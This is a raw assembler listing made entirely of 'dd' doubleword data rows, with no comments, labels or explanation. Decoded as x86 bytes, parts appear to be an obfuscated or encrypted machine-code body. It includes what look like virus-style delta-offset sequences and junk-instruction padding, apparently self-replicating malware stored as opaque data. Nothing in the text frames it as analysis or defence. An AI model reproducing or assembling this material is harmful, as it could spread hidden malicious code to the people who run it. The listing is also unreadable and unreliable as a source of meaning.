61E19A9h, 0BB006A5Fh, 6C15F391h, 21ED95FFh, 6A061Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 92894C3h, 1E035D8Dh, 5A4E906h, 8D290000h, 61E1B29h dd 0A20ABF66h, 0E8h, 0ED815D00h, 624BDA5h, 14CD958Bh, 59B2061Eh dd 4E8h, 0FA000h, 0BA526000h, 44CEE278h, 6652505Eh, 0FCABEBAh dd 5AF18A31h, 0BF506158h, 3D019A48h, 424448Bh, 5820F60h dd 0BF000000h, 326A2335h, 8B61F08Bh, 94D6BB00h, 44894BE9h dd 8B660424h, 6A58CEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 34A1E4C3h, 924AA4A1h, 0FFD8053Ch dd 1E26C195h, 11E906h, 0C2880000h, 3C3924CFh, 6E221B9Ah dd 0C255A912h, 8D1CF8DAh, 24BBF2B5h, 6C7F906h, 6D676552h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ECC35545h dd 26BFDEE5h, 48D0Fh, 0BB660000h, 8B666634h, 446C7D1h dd 6C636E6Fh, 29499D2Bh, 46C7061Eh, 73736108h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 2375ACBFh, 48F781DAh, 6A7D87D5h, 0F2858D00h, 330624BBh dd 1E02C9BDh, 52505006h, 0DE8B6660h, 0F61FA8Bh, 89585A31h dd 51BB2404h, 0FF6EF5D7h, 1E02D195h, 0E1816606h, 0E957628Bh dd 13h, 0A03FE696h, 994A9509h, 0F7805257h, 0B9928945h dd 5FC5CA93h, 840FC00Bh, 53h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 26C35747h, 9B589B1h, 60061E05h dd 4C9850Bh, 0BF0F061Eh, 92E961FBh, 6A000003h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7EC4C353h, 684C88A6h, 27077A70h, 0DA8B5250h, 14E9310Fh dd 5A000000h, 597A86D4h, 0A932A2CEh, 0FADD1535h, 8138DBDh dd 5ACBD160h, 24348158h, 27077B5Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 61C35747h, 0FF048C94h, 1E26C195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0F2B58D03h, 6A0624BBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D716C352h dd 0EB8166F9h, 6660925Fh, 5BCD881h, 11E8h, 8860200h, 7993D69Dh dd 3606B69Ah, 5C3F72CBh, 0F781CDB4h, 1237E9DBh, 6C7615Fh dd 36343831h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0E0C35747h, 661AC393h, 601EF81h, 370446C7h, 0E931342Dh dd 6, 8D9C552Bh, 46C7059Ch, 8, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6AF8A92Ah dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 2BDC7256h, 81666B16h, 8DEE66E7h, 24BBF285h dd 31F98B06h, 1E14C585h, 5F505006h, 66240489h, 95FFDF8Bh dd 61E02D1h, 21D8589h, 0C00B061Eh, 40840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 83B52DC3h, 11E99C7Fh, 37000000h, 0B8E5DEEBh, 613B94B6h dd 0BD884DF8h, 0B40D0783h, 1C8E9h, 6387BB00h, 3768076Ch dd 50FB581Fh, 0FD48A52h, 81585A31h, 0E1F52404h, 6A04A7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 4016FEC3h, 36EA7E20h, 85BFB487h, 0F7828CDh, 185h, 95FFFC00h dd 61E26C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2DC35747h, 8C739695h, 0CEBE5755h, 8DD18B66h, 24BBF2B5h dd 69BB6606h, 4606C7A5h, 6A656C69h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 32B0C357h dd 0F966B99Fh, 0C858589h, 46C7061Eh, 6E6F6D04h, 51006A63h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 35BD8BA5h, 0C7061E0Fh, 616C0846h, 85897373h, 61E0C21h dd 0C46C7h, 66000000h, 0B553CB8Bh, 6A5A07h, 4798509h, 858D061Eh dd 624BBF2h, 314715BAh, 5E85061h, 19000000h, 0E1783763h dd 895F4BB6h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E94C60C3h, 14h, 0E762B7Ch, 1C55AB7Bh dd 8A5A4D42h, 701E336Fh, 27DB770Dh, 6860Fh, 0BD010000h dd 61E02A5h, 93D9D8Bh, 95FF061Eh, 61E02D1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 84C35747h, 0E0D65862h dd 0B7016EEh, 11840FC0h, 8B000000h, 1E17E995h, 2FE906h dd 8D8B0000h, 61E0885h, 0FFFAFFE9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 89AFDA73h dd 1E16959Dh, 0ABB58D06h, 6A061E71h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B3BC356h dd 6268088Bh, 0FF33794h, 0C86h, 6820F00h, 8B000000h, 1E1D9995h dd 0B806h, 5E90000h, 0DA000000h, 786A591Eh, 6AE6FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D55FEDC3h, 81665D69h, 808934E9h, 0C18B76C5h, 0C3C38D8Dh dd 0D7810624h, 33B99AD3h, 23758D89h, 8E0F061Eh, 3, 0C7F98B66h dd 1E324D85h, 5B6C06h, 13E900h, 8E240000h, 86E3E4EFh, 0E91E6A4Fh dd 47E333A2h, 44395C32h, 6985C787h, 61E31h, 8B000000h dd 1E2AF1BDh, 7DB5FF06h, 6A061E32h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0ED0BC351h dd 16D1BD29h, 95FF061Eh, 61E16B9h, 3A16BB66h, 95FF006Ah dd 61E26C1h, 0EEBC08Bh, 7313BE62h, 0D74A33DBh, 0F1A9965Bh dd 7E8E266h, 12000000h, 55157D55h, 858B2726h, 61E2EA5h dd 81DE8A5Ah, 5A9EC2h, 0C18B6600h, 0D5B0C92Bh, 0E90A3C8Bh dd 5, 0E730496Ah dd 9BEF813Bh, 8104597Eh, 509804CBh, 4AF7817Dh, 93A1160h dd 1E0839BDh, 2FF78106h, 0BB034AF8h, 59FC1C80h, 0A5BD8957h dd 8F061E21h, 85010A04h, 61E0EFDh, 0E59D8Bh, 0E983061Eh dd 0F1858B04h, 81061E31h, 0FFA5D8F9h, 0A5850FFFh, 8AFFFFFFh dd 0FB8D8DC5h, 0B30624C4h, 758D8968h, 80061E23h, 85C740F2h dd 61E324Dh, 69B8h, 7D2CE281h, 85C74D7Eh, 61E3169h, 0 dd 0FFD7EA80h, 1E2D11B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 326C5F6Eh dd 0F28B5D03h, 10E9h, 0BD0C2D00h, 0A117167Fh, 0C7296725h dd 0A0187D96h, 0B995FFE8h, 6A061E16h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5A9C355h dd 85C631E3h, 0DF8166BBh, 0D081C712h, 3677EE0Dh, 95FF006Ah dd 61E26C1h, 4CEBC08Bh, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h dd 0B7D9A354h, 64D857EFh, 40FD0478h, 4B5F6341h, 7226A604h dd 8839180Ch, 8C00AA69h, 4AF79F50h, 554CCCE3h, 78E22797h dd 0C5FDD3E2h, 304A1289h, 0C71C48FEh, 0F01F0A13h, 48ED0D36h dd 0F0FE2825h, 9C9D04EBh, 0EE927C0h, 1C000005h, 4A65DA87h dd 738E03A2h, 0A0BB30F1h, 0C8E35819h, 0CC0D8227h, 8B2ECFDAh dd 0BA67FB16h, 0E1842A45h, 7AE516Ch, 0E0F69292h, 3F499804h dd 73C59D52h, 0B64F31F0h, 4E139431h, 5F78B227h, 6A6918D9h dd 1F29C8C7h, 0B42BF821h, 6F12AB8Dh, 0C02BB9CFh, 0E62B3925h dd 769D44E7h, 0B47DFB94h, 0B514ED2h, 0D79E213Ah, 89862928h dd 9E3BB4DBh, 9DBBE27Ch, 4AD4C65h, 2590DC08h, 2ABAD039h dd 2C392591h, 74D873E7h, 1F6EA4E2h, 0E55A0930h, 0C8124CAh dd 0C6A84DF1h, 0CAE8952Dh, 0C0687C92h, 0A9EE3925h, 0F97F18FAh dd 39BD5638h, 0D2D19274h, 24A88A2Bh, 3307E127h, 941ACC12h dd 0BE415CD1h, 627F15F7h, 763925C0h, 0C2C02F75h, 7B81C4E6h dd 5Ch, 3AF073C5h, 24D2C024h, 2A519639h, 0E9F99048h, 0E5462129h dd 0E3FFFBAAh, 0F73924E2h, 4341B0F6h, 0FC81C5C4h, 1, 54F57346h dd 6C2D0FD2h, 22CA6345h, 0AB4C6583h, 0DC755706h, 2EB2945Dh dd 0B339EB31h, 0BBF9CF9Ch, 274EA51Ah, 751497B2h, 19D85BF2h dd 6D4F7637h, 3C1085ACh, 112FF273h, 0CDAF6AF8h, 0C37B5D0Ch dd 8B3FFF2Ch, 0EB9ADAC6h, 2BCD4CECh, 0C0E7A88Ah, 28BF5DDEh dd 3A91ADF9h, 0DCB2606Eh, 0F3C9ED16h, 549A1DCCh, 0E3581DA2h dd 9A7C25C8h, 0DC607F01h, 0C04BFC62h, 14C4A6CDh, 0D4C23177h dd 8D81C555h, 74h, 3673DA71h, 9C8E7A3h, 1C54A25Ah, 24D2DE06h dd 84337839h, 5B3DE085h, 8F556BA3h, 0C73924D2h, 40E18382h dd 47EE9291h, 9EE4E165h, 732EB4CDh, 7D20C5C4h, 12F9C85Fh dd 0B74A9AB0h, 0C70C3925h, 9C924Ah, 0DE8DB47Dh, 4A94E69h dd 8A2BCDE6h, 0D960F9DBh, 0E9863618h, 0F44634A3h, 48FF81C4h dd 49000000h, 4D2FF273h, 8D6F32B4h, 5B0D53F2h, 0CEA217DAh dd 4A2CF573h, 24D32DB4h, 50119839h, 44A0B66Eh, 123924D3h dd 0B32ACECDh, 66486F32h, 0CE62CCBh, 8D91F20h, 0B73F8F71h dd 15C4CAFCh, 0C5CA5B59h, 11481h, 735E0000h, 0DA1230F1h dd 24D320C4h, 42F13639h, 0EF8FA860h, 0A8A7684Ah, 0C0816306h dd 706F1211h, 736C240Ch, 0DCBEE56Dh, 1699B26Eh, 0FAF6D24Fh dd 13C3CD1Eh, 0E99BE164h, 0EF299E47h, 0E49352D6h, 415F1425h dd 436BB22Bh, 6F51963Fh, 5F1F9EB7h, 75B9B49h, 4F76BB33h dd 571EA1A0h, 7D24C7E2h, 5BDD059Bh, 49E83307h, 7AE5103h dd 5FC15892h, 0E4E92714h, 660908B7h, 0A144DDBFh, 0FF9D1E00h dd 0C1A342E6h, 88CE5100h, 859B53D6h, 3307485Fh, 4426CB6Ch dd 83740F83h, 0B8EDEFD2h, 0E0557CA3h, 0E38B0A08h, 13BC387h dd 0B30D0000h, 0B9CFED86h, 3F42F010h, 3FCCF66h, 0D3BE0D1Eh dd 896BB024h, 2FA44DF0h, 415ADCF5h, 0D49EB4B8h, 0C4C3EA18h dd 0DA9B7D24h, 0E8892C2Bh, 53CA6D06h, 6D2E10D1h, 0E0E36446h dd 9C45E89Ah, 8F514F27h, 6A0A87E4h, 54000000h, 89198AB3h dd 8B2ACDCCh, 0A3C1E8A9h, 24D2A78Dh, 8F324F39h, 0E3C5680Eh dd 0B6D4FB22h, 0C75CC31Fh, 0CB7AB436h, 179153E9h, 0D5713924h dd 175D879Dh, 5EF93924h, 0ABFCFF0Ch, 57062DD3h, 211C8ED4h dd 10243A58h, 0E639242Ch, 9A7C39C9h, 7B94B2D9h, 965739F8h dd 3872E7h, 242BFAEAh, 18175C39h, 2F1DCC95h, 89h, 0ED86B3FDh dd 0F97E97CFh, 0E2915234h, 42EA0FE6h, 624693Fh, 0BC2CB8CEh dd 6A803306h, 3306BB7Ah, 0DE2397DCh, 0B69859DFh, 0CB6446F5h dd 0F9148928h, 37CDAF76h, 3306BCA8h, 80327817h, 0FD1634FDh dd 37ADC37Bh, 1F3306BBh, 10D1B3DAh, 2811EC61h, 90142D4Bh dd 0BDFB8D7Bh, 0CFF638E2h, 42EC0220h, 0A8392B38h, 45E88163h dd 74F80EA5h, 0C288EC48h, 0E11D1EC6h, 0CCF3382Ch, 155B7CEAh dd 0BFDD96A3h, 5E285A9h, 0AB206533h, 0ED86B3D7h, 0FA7E97CFh dd 0E998593Bh, 499841EDh, 8264A93Fh, 2A9F46E9h, 0E3C56C0Fh dd 3651942Bh, 0EA0BA631h, 0FA003F3Bh, 999654E4h, 571EA153h dd 7D24C7E2h, 0BA7B029Bh, 3496AD8h, 9207AE51h, 4B2DF477h dd 3C3h, 0A77F9100h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h dd 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h dd 3D1FC666h, 1C4D6800h, 1C890000h, 51F16824h, 1C890000h dd 0F966824h, 14890000h, 0E1BE5624h, 0C13C8465h, 0E6C102EEh dd 0FFEE8308h, 8103E6C1h, 0AC26B4EEh, 0FDEE8134h, 89CDFAD3h dd 0EC815EF3h, 4, 81242489h, 42404h, 535A0000h, 0D24BE56h dd 7431169Dh, 8F5E0424h, 72810842h, 9D0D2408h, 24148B16h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 51241C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 40E95C24h, 0A5FFF9B5h, 42E241B1h dd 0C9D1B863h, 0C5030624h, 0DD6E0FFh, 0BD4658E2h, 0B6FD4926h dd 0A1A41CAh, 44379D4h, 40622230h, 0F2ED28B0h, 57B71D92h dd 0DD234626h, 5E9C1E17h, 4EC354ADh, 0FAD5A87h, 0F6D62A25h dd 0D82323E9h, 6FAD6C33h, 163631F9h, 3B20204Bh, 0CD544192h dd 2F9A4450h, 84432CC7h, 0C0E26CA4h, 3BE972BDh, 60000000h dd 2BADBD8Bh, 0EF83061Eh, 8BC93304h, 8320BBC1h, 0C783EDB8h dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h dd 75FDED55h, 76F67A5Eh, 56E669A4h, 7BFD49BCh, 0D9FD2376h dd 1EFD2359h, 7CFD234Eh, 6EFD23C2h, 44FD2307h, 2DFD23E5h dd 2FD2394h, 0F9FD232Ch, 24FD2370h, 0FDFD2359h, 56FD234Eh dd 0B3FD23C4h, 90FD2307h, 7DFD23E5h, 39FD2393h, 8DFD232Ah dd 9DFD2377h, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A440A5h dd 75A4402Dh, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h dd 0F0701ABCh, 73D9B542h, 0BEAEFFA6h, 0F0707CB3h, 73D9B5F9h dd 0BEEEFF6Ch, 0F0707CD6h, 73D9B509h, 0BEB2FF35h, 0F0707C7Ah dd 73D9B4FFh, 0BEEAFF1Eh, 0F0707CEFh, 73D9B46Ah, 0BEE6FF7Bh dd 0F0707C5Dh, 73D9B791h, 0BEE2FFD7h, 0F0707C0Bh, 73D9B7A8h dd 0BEDEFF42h, 0F0707CC1h, 73D9B7A7h, 0BEDAFFF0h, 0F0707C98h dd 73D9B7EEh, 0BECEFFA6h, 0F0707CB3h, 73D9B7B7h, 0BED6FF6Ch dd 0F0707CD6h, 73D9B7E2h, 0BED2FF35h, 0F0707C7Ah, 73D9B79Fh dd 0BECEFF1Eh, 0F0707CEFh, 73D9B70Fh, 0BEBEFF7Bh, 0F0707C5Dh dd 73D9B4B5h, 0BEBAFFD7h, 0F0707C0Bh, 73D9B4BBh, 0BEB6FF42h dd 0F0707CC1h, 73D9B487h, 0BECAFFF0h, 0F0707C98h, 73D9B4F2h dd 0BEC6FFA6h, 0F0707CB3h, 73D9B58Ch, 0BEC2FF6Ch, 0F0767CD6h dd 73E354E4h, 0BE71FF35h, 0F0767C7Ah, 73E34A5Ah, 0BE6DFF1Eh dd 0B69C7CEFh, 9D11F1B0h, 75FD7AF2h, 0D517FB23h, 25FB5E70h dd 0FDF53FD5h, 5136F1ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73D9B67Dh, 0BEEFFFA0h, 0C87D7C0Bh dd 73D9B185h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0BE6DEF86h dd 0FEBD7C98h, 7A452B96h, 8AFD7A2Fh, 5136EA02h, 6648F7CDh dd 0F8FB5E2Eh, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 5136EABAh, 6648F791h, 0F8FB5E00h, 8A50FCD1h, 0BC1F2322h dd 0BEEFF787h, 2DA07C98h, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 5136F670h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 0BE71EFD0h, 0DE9B7CB3h, 77959208h, 360B7AE5h dd 6E8872F3h, 0BE71EF86h, 0C54D7C98h, 8AAD7954h, 5136F6BAh dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 0F96885B5h, 2FFB5E39h, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0BE6DEF0Dh dd 0C0707C5Dh, 73D9B1EBh, 7F518A5Dh, 0E002D02Ch, 73D9B11Bh dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0BEF4FF69h, 0C87D7CEFh dd 73D9B1ECh, 0F8EC0FF3h, 513601FCh, 61152ABAh, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 0BEF4F787h, 0C87D7C98h, 73D9B157h, 0F8F10F2Fh, 51360112h dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 0E5688579h, 0F8FB5E77h dd 5132A2C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 5136F6CBh, 514ACE29h dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0BE71EF68h, 917D7CEFh dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 5136EA70h, 1A60F7F4h dd 0F8FB5EB2h, 0CD3E39A0h, 75FD7A4Eh, 0BE6DEFD0h, 0B57E7CB3h dd 8935F1CEh, 0BE71EF1Ah, 97577CD6h, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 9D17FB04h, 0FCFB5EE0h dd 0CF7D86EAh, 73D9B140h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h dd 0BE6DE843h, 0FCBD7C7Ah, 5136EEADh, 0F835F191h, 512DC679h dd 0F96F85E3h, 0FDFB5E39h, 801F3C7Fh, 75FD6D04h, 0E17F795Eh dd 35FB5EE4h, 0A54DE01Ah, 0B67E7CEFh, 22FEF3E1h, 75FD644Bh dd 0E1777979h, 0F8FB5E77h, 512DE4ECh, 2B598929h, 75FD722Fh dd 0E56F85CBh, 0F6FB5E2Eh, 85897E0Ah, 72447C71h, 7DFD7ABCh dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h dd 2FFD7A2Fh, 0A5329016h, 0CF707CEFh, 73D9B17Dh, 0CCF50F79h dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0BE65E7A2h, 497D7CB3h dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh dd 7D17FB04h, 0F8FB5EFEh, 5136E225h, 7D80F1CDh, 75FD725Ch dd 145989F2h, 75F9B8B0h, 0ED40F7DCh, 46FB5E95h, 75F5C3EFh dd 0DF0E7A97h, 0F89DB9AAh, 5136E258h, 74C2FBF4h, 0FC7B78h dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0ED40F7ABh dd 0CDFB5E2Eh, 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh dd 0D078F7EFh, 8AFB5E5Ch, 8DCA8BD0h, 1E16259Dh, 1300B806h dd 85890000h, 61E2B4Dh, 0E8h, 0D055800h, 89000000h, 1300E903h dd 4C0h dup(0) dd 2AE90000h, 0C7000000h, 2404h, 0E80000h, 5D000000h, 0E4ABED81h dd 448B0624h, 85890424h, 61E1961h, 0B8h, 0B88D8D00h, 0FF061E4Ch dd 6754B8E1h, 0FE80000h, 0E4000000h, 0D96755DCh, 9743A5E3h dd 4B4F6DF5h, 0B65EBE94h, 1EC681CAh, 0E900005Bh, 13h, 274B6002h dd 587A4F16h, 72A17A3Eh, 50C9BBCDh, 0B8B57F32h, 0 dd 850Fh, 1C8B0000h, 0BE806h, 262F0000h, 2A8FB779h, 0CD715E7h dd 4BF2814Fh, 5F02FA14h, 6998F381h, 0BA666B7Ah, 0EB8113C7h dd 20135657h, 3800BF66h, 15CBF381h, 66532A13h, 822FEA81h dd 61C895Ah, 5820F57h, 66000000h, 0DF31D181h, 0CE959h dd 7BE30000h, 2FF5896Eh, 595475DFh, 0E881DB10h, 0E91390Dh dd 0FE8h, 501CE300h, 43EAAD8Fh, 0F4302032h, 0B2F61E8h dd 59D6BF0Fh, 3909C081h, 0B70F0E91h, 0D8F881D3h, 0FFFFFA5h dd 1785h, 0D18B6600h, 28E9h, 2F233800h, 59824B5Dh, 2895586h dd 0D977CB51h, 0E986E580h, 0FFFFFF52h, 59212533h, 0DFF3299Bh dd 14F18769h, 0F7D59542h, 0AEE900h, 0A10000h, 27C5E055h dd 4AEE097Eh, 9C1B36ABh, 0A04560D5h, 554788FDh, 8B00A54Ah dd 0B227D270h, 0DD521797h, 1763FC2h, 954F6501h, 0C13F49B7h dd 0F473340Ch, 0B437D655h, 234A0BEDh, 3B598041h, 0D2F7ED03h dd 1A5F3924h, 540E896Bh, 0F6F5BC3Bh, 0BCCAE77h, 17DE5D5Ch dd 0D2558AA2h, 216F3924h, 5396719h, 3924834Fh, 0DD84243Dh dd 8F8B3AFBh, 38E23044h, 376h, 0A77F4400h, 5133EE73h, 8A6C35B8h dd 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h dd 0FFE18024h, 3D1FC666h, 0E5D26800h, 24E90624h, 97FFF999h dd 0F9D8F285h, 24E671B8h, 0EBC50306h, 0C1E2AE04h, 0D31E92Ch dd 0BC680000h, 0E90624E8h, 0FFF99903h, 24E99F68h, 98F9E906h dd 8168FFF9h, 0E90624EAh, 0FFF998EFh, 24EB3E68h, 98E5E906h dd 4C68FFF9h, 0E90624EEh, 0FFF998DBh, 24F17368h, 98D1E906h dd 7868FFF9h, 0E90624F2h, 0FFF998C7h, 0E65B069Bh, 0F842DCBh dd 3CB170F4h, 66DB9A21h, 9207AA4Bh, 0D3545F51h, 0E47E990Eh dd 5A9C439h, 2DD0EB60h, 730F0F84h, 49B8875Dh, 421ACF3Fh dd 4D2FF273h, 0FA6F32B4h, 3B591A1Fh, 9E47EA03h, 0E08123BCh dd 67163DFEh, 42DF2A6Bh, 67498E3Fh, 6C60FD1h, 6C35B433h dd 0A74EF18Ah, 0FB4144C5h, 286E0B21h, 0F2ADC057h, 852FDFEDh dd 831C1AD6h, 275F87E4h, 617D311h, 8F3E8333h, 3FE7h, 0AB2CB00h dd 0B304BC6Bh, 97CFED86h, 3FD75900h, 5314F6A3h, 0BA8A34D6h dd 0E1220F0Bh, 0B243F43h, 0A317C66Bh, 9B27405Eh, 8C3BFCDEh dd 7ACC14AAh, 43E03307h, 2C908EFDh, 74987E3h, 93000000h dd 8AC84h, 3B545200h, 5415F7BAh, 6203A6A5h, 0A644E780h dd 24D25490h, 0B0C60239h, 3924D234h, 0B7B6DD22h, 0CE8F7130h dd 0E25732A7h, 0FC5D7391h, 443F42EEh, 59871DFFh, 533306B3h dd 89F70B6h, 2D1761B3h, 38F4A3A6h, 87E4993Ah, 42F3h, 39BED700h dd 69F99274h, 1ED685ACh, 0CFED86B3h, 35630097h, 997707A7h dd 8217EEEAh, 3C813F43h, 14D0E61Eh, 4233072Ch, 0D66C4EFDh dd 33072C0Ah, 0EEBF05A2h, 0E39253D5h, 0E37B2927h, 0CBE287h dd 732C0000h, 0B64F31F0h, 855F7531h, 0D13924D2h, 0EA83658Ch dd 23BC9E47h, 546CE180h, 3924D76Ch, 3AAAC0F8h, 1C3924CEh dd 0CE1ACAE0h, 0F73C3924h, 9F2221D0h, 0D3B578FEh, 0CE931312h dd 8F042BECh, 4E30F174h, 112F44F5h, 598BA1D9h, 0FD3924CDh dd 0CE39ABC1h, 0D81D3924h, 0C30602B1h, 0B33F42DAh, 0C07F657Bh dd 92D73306h, 0B52A6FE3h, 0F4125FDAh, 276D3CDEh, 0BA45DC39h dd 0FAE1880Eh, 175CD07Fh, 9A5FE0F9h, 0C0650A25h, 2C4AEFFEh dd 59E1E3ECh, 0A79h, 0FA6F2AB7h, 239859DFh, 48BD6408h dd 72E78E2Dh, 9E13D657h, 0DF606B5Dh, 0F88AA51Ah, 9ADC83Dh dd 51D4EF64h, 7F1B1B90h, 49BA7B69h, 4E26DB3Fh, 0BA2FF273h dd 0E0551C9Fh, 46BD540Ch, 0EE04D9h, 0F74201B0h, 0BF465C7Ah dd 2F3F435Fh, 0F1D39216h, 0C80D8130h, 99050E6h, 7F1C3307h dd 9DCCCA39h, 0B58587E3h, 0CF000000h, 0F9B83B54h, 14D95617h dd 0C8120217h, 0B73A39E8h, 0F2730CEEh, 9B74D2Fh, 7A392521h dd 9EB92EF7h, 974D631Bh, 0BF392516h, 1871537Ah, 0FA325021h dd 1738ACC2h, 0D91E3925h, 239B2E2Ah, 40853F43h, 2849F0CBh dd 0F38730Ah, 2E276862h, 11C0E78Eh, 0CD2CDDF3h, 2F743927h dd 0B277F811h, 0A0435C94h, 625E1F01h, 2CE67A82h, 6BE08FD4h dd 480AAF50h, 0EC2C7797h, 969D2527h, 0D4000009h, 21D924Fh dd 2B46BB7Ah, 5873E889h, 809B10D1h, 84C53AFFh, 43E68792h dd 722FB3CEh, 995CE2FDh, 0BF660924h, 98AE4A4Ah, 3F49BC4Ch dd 737D550Ah, 9FBA2FF2h, 0CE0551Ch, 3003BD54h, 52520843h dd 5BD87B62h, 0AA59EF07h, 4B6908ABh, 50E7FD13h, 2A6F3925h dd 7D00997Bh, 32D5B25Eh, 0F51C6F5Eh, 9BACCA80h, 7FB7D59Eh dd 0A94BC266h, 3E652608h, 808E938Fh, 0FD423F43h, 70328D23h dd 0AA8FDCCCh, 0DC95ABC9h, 948F6041h, 9518314Fh, 0AC29EACCh dd 0B19C8EACh, 0A68837A1h, 6987EC4Dh, 0F1959A31h, 77AEF1D5h dd 9B333BFAh, 39E8B3D8h, 457F743Dh, 19377C89h, 0A524C8E1h dd 0C0816302h, 47F6B799h, 0DEFCA548h, 9E803DC5h, 9EB92EDDh dd 7D7A041Bh, 